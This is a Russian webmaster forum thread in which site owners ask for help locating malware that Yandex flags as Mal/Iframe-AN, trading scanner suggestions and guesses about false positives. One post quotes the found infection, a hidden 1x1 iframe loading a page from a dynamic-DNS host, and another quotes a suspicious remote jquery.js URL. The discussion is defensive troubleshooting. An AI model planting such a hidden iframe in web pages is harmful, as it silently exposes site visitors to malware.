Прошу помощи Mal/Iframe-AN

[Удален]
7870

Яндекс кричит на вирус на сайте ___p://tkkompas.ru/avtozapchasti

Mal/Iframe-AN

Перерыл все что можно не могу найти.

Может кто подскажет где этот вирус может быть.

Сайт на wordpress 3.6.1

K5
На сайте с 21.07.2010
Offline
209
#1
аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
[Удален]
#2

Смотрю через исходный код. Нету ничего.

draff
На сайте с 30.03.2010
Offline
65
#3

Проверьте сканером http://sitecheck.sucuri.net/scanner/

Удалю вирус с сайта Джумла! (http://joomlaforum.ru/index.php/topic,254903.0.html)
SeoPerez
На сайте с 11.07.2010
Offline
83
#4

О! Ждал такой темки, думал у меня у одного подобное. Уже 3 дня не могу найти код этой заразы, все шаблоны и файлы движка просканировал и сравнил на совпадение с оригинальными файлами движка - все ОК.

Пробовал через виртуалку входить и так и эдак, и под тем браузером/разрешением/юзерагентом/рефером и под другим - безрезультатно, выводится чистый код без всяких айфреймов и т.п.

На данный момент поснимал ВСЕ с сайтов, и кнопки соц закладок сторонние и вк комментарии и отправил на очередную перепроверку.

Предположения всего 2 по данной проблеме. Либо вирусня залита на уровне файлов сервера (но там я не разберусь что и где), либо глюк у Яндекса какой то. В один день взял и закарантил 3 моих сайта разом, хотя до этого несколько лет все стабильно и четко работало.

---------- Добавлено 09.10.2013 в 11:10 ----------

draff:
Проверьте сканером http://sitecheck.sucuri.net/scanner/

Показывает что все чисто.

---------- Добавлено 09.10.2013 в 11:12 ----------

Да кстати, для статиcтики, движок DLE (лицензия, 10 версия). Тех поддержка хостинга нашла какие то удаленные запросы на: domn1381232733.servep2p.com - заблокировали.

► Сайты / домены покупаю и продаю здесь » (http://www.telderi.ru/?pid=1c41bf)
draff
На сайте с 30.03.2010
Offline
65
#5

SeoPerez,

А малвар такой же ?

SeoPerez
На сайте с 11.07.2010
Offline
83
#6
draff:
SeoPerez,
А малвар такой же ?

Ага


Mal/Iframe-AN
Данный вердикт означает, что на странице присутствует тег <iframe> в атрибуте src которого стоит доменное имя хоста, с которого распространяется вредоносное ПО.

Чтобы удалить вредоносный код с сервера, воспользуйтесь нашими инструкциями.

Пример вредоносного кода, по которому выносится вердикт Mal/Iframe-AN:


Но это у одного сайта, у двух других пометка стоит на "Поведенческий анализ". Появились все практически одновременно.

draff
На сайте с 30.03.2010
Offline
65
#7

На всяк случай ссылка воть

Правда аваст ругается теперь на ссылку,хотя вчера было норма. ))

п.с.

Добавлю и "свой" малвар.А вдруг кто встречал.

<iframe src="http://kxqiisto.sytes.net:12601/forum/t/linktous.php?guardian=82" width=1 height=1 style="visibility: hidden">
TF-Studio
На сайте с 17.08.2010
Offline
334
#8
Odine:
Яндекс кричит на вирус на сайте ___p://tkkompas.ru/avtozapchasti

Mal/Iframe-AN

Перерыл все что можно не могу найти.

Может кто подскажет где этот вирус может быть.

Сайт на wordpress 3.6.1

Есть вероятность ложного срабатывания.

https://web.redhelper.ru/service/main.js?c={ник}

Вот на это.

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
[Удален]
#9
TF-Studio:
Есть вероятность ложного срабатывания.
https://web.redhelper.ru/service/main.js?c={ник}
Вот на это.

А вот это что такое не подскажете "_ttp://domn1381298465.noip.me/jquery.js?1381298561"

В смысле это нормально?

А то я просто не понимаю что это.

draff
На сайте с 30.03.2010
Offline
65
#10
Odine:
А вот это что такое не подскажете "_ttp://domn1381298465.noip.me/jquery.js?1381298561"

В смысле это нормально?
А то я просто не понимаю что это.

Запрос к файлу яваскрипт ,а после ? идет запрос/параметр

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий